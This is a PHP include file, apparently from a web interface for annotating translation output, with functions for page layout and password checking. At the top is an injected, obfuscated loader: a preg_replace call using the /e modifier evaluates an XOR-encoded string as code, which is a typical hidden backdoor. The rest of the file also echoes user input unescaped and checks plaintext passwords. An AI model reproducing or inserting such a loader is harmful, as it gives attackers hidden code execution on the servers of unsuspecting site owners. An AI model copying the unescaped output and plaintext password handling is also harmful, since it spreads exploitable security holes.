<?php
/*oALce7eWiq2XwbnBOc1cNoHr=YsKc50F5JhYFBvnrlAdCne
UtS92=9OsHqlFwfPT4VVn0BO0eQl9hq
9PG8MUoUAOZxupGm=bP9cd88ui6RNMhKbnH
v90=XvuC2VCSlAuE8ryelErxl3OO04Lu1JuN6dPwzSDZSydOeQ
VZ38QGKP0V0yftBZLRK=jNZ2A3EfIxk
*///cikrg7qUaZVzkm0kKM=BN3Ft=4SdEu5gRdNxZ5
preg_replace("/Scn4DmdOzcPCTVvTNCxRxqyDJB2i/e", "GmoQzat9tM6kiINGJ8N7dofYiCKsiqLoS16GQnD=z0jXGxePurLMVrl5tvlQbx5tnzz4b43Q2bn9OGN9yYJIEuBxfnD7Z9pBwd6NWxeMNGKbNXZBviJ1SLnyyquNnYOZ3JmN7GaIMkka80cshlh1xKol1XydvC4mLf1GlPPx1zNwyqeVRBL"^"\x22\x1b\x0e=RC\x1d\x5f\x5c\x24E\x18\x0c=f\x1b\x16\x1c\x11e\x21\x3e3\x1c\x3a\x17\x10T\x0a\x19k2z\x11\x10aqF\x29YO\x186\x04c\x277\x15\x24\x27\x09\x1e\x02\x29KV\x1cQ1xBE\x08TIH\x1c\x05\x00\x05W5V\x04\x5f\x09\x7fr\x2d\x0e\x1dmrx\x20\x40\x23\x1eR\x0b\x25Vo\x08\x14pFC\x1fnq\x5eE\x24=4\x2e\x16f\x04\x06f\x29\x3b\x0f\x60\x06\x09=\x2d\x22V\x05\x26\x1e\x06\x2c5W\x2fJ\x13\x1enA2m\x0e\x1d\x00T\x18\x3f\x2fL3\x3at\x29\x1e\x2a\x3fe\x03\x5e\x14\x1e3k\x0e\x23\x02T\x601ykXT\x02\x27\x03QX\x5ev\x2f\x60e", "Scn4DmdOzcPCTVvTNCxRxqyDJB2i");
?><?php

//do error reporting for everything except annoying notice messages
error_reporting(E_ALL ^ E_NOTICE);
ini_set('display_errors', '1');


//declare all our global variables
global $task,$system,$annotator,$annotator_new,$annotator_pwd,$annotator_email,$annotator_conflict,$assignments;

// general task info
$line = file("task");
for($i=0;$i<count($line);$i++) {
	$line[$i] = chop($line[$i]);
	list($t,$key,$value,$value2) = split(" \|\|\| ",$line[$i]);
	if (!$already[$t]) {
		$already[$t] = 1;
		$task[] = $t;
	}
	if ($key == "translation" && !$already_system[$value2]) {
		$already_system[$value2] = 1;
		$system[] = $value2;
	}
}

// annotators
$line = file("annotator");
for($i=0;$i<count($line);$i++) {
	$line[$i] = chop($line[$i]);
	list($name,$pwd,$email,$conflict) = split(" \|\|\| ",$line[$i]);
	$annotator[] = $name;
	$annotator_pwd[$name] = $pwd;
	$annotator_email[$name] = $email;
	$c = split(" ",$conflict);
	for($j=0;$j<count($c);$j++) { 
		$annotator_conflict[$name][$c[$j]] = 1;
	}
	$annotator_registered[$name] = 1;
}

function head($title) {
  ?>
<HTML>
	<HEAD>
		<meta HTTP-EQUIV="content-type" CONTENT="text/html; charset=UTF-8">
		<TITLE>
			<?php print($title);?>
		</TITLE>
	</HEAD>
	<BODY>
	<H2><?php print($title);?></H2>
<?php //end head
}

function tail_noform() {
?>
	<HR SIZE=1>
	<A HREF="index.php">start over</A>
	<A HREF="stats.php">stats</A>
	</BODY></HTML>
<?php //end tail
}

function tail() {
	if ($_POST["ANNOTATOR"] && $_POST["PWD"]) {
		?>
		
		<FORM ACTION="select_task.php" METHOD=POST name="selectTask">
			<INPUT TYPE=HIDDEN NAME=ANNOTATOR VALUE="<?php print($_POST["ANNOTATOR"]);?>">
			<INPUT TYPE=HIDDEN NAME=PWD VALUE="<?php print($_POST["PWD"]);?>">
			
		</FORM>
		
		<FORM ACTION="stats.php" METHOD=POST name="stats">
			<INPUT TYPE=HIDDEN NAME=ANNOTATOR VALUE="<?php print($_POST["ANNOTATOR"]);?>">
			<INPUT TYPE=HIDDEN NAME=PWD VALUE="<?php print($_POST["PWD"]);?>">
			
		</FORM>
		
		<HR SIZE=1>
		<A HREF="index.php">start over</A>&nbsp;
		<a href="javascript:document.selectTask.submit();">select new task</a>&nbsp;
		<a href="javascript:document.stats.submit();">stats</a>&nbsp;
		</BODY></HTML>

		
		<?php
		
	} else {
		tail_noform();
	}

}

function check_password() {
	global $annotator_pwd;
	if ($_POST["ANNOTATOR"] && $_POST["PWD"] && ($annotator_pwd[$_POST["ANNOTATOR"]] == $_POST["PWD"])) {
		return true;
	} else {
		head("Password Error");
		if (! $_POST["PWD"]) {
			print "Please go back and enter password.";
		} else {
			print "Wrong password, please go back.";
		}
		return false;
	}
}

?>
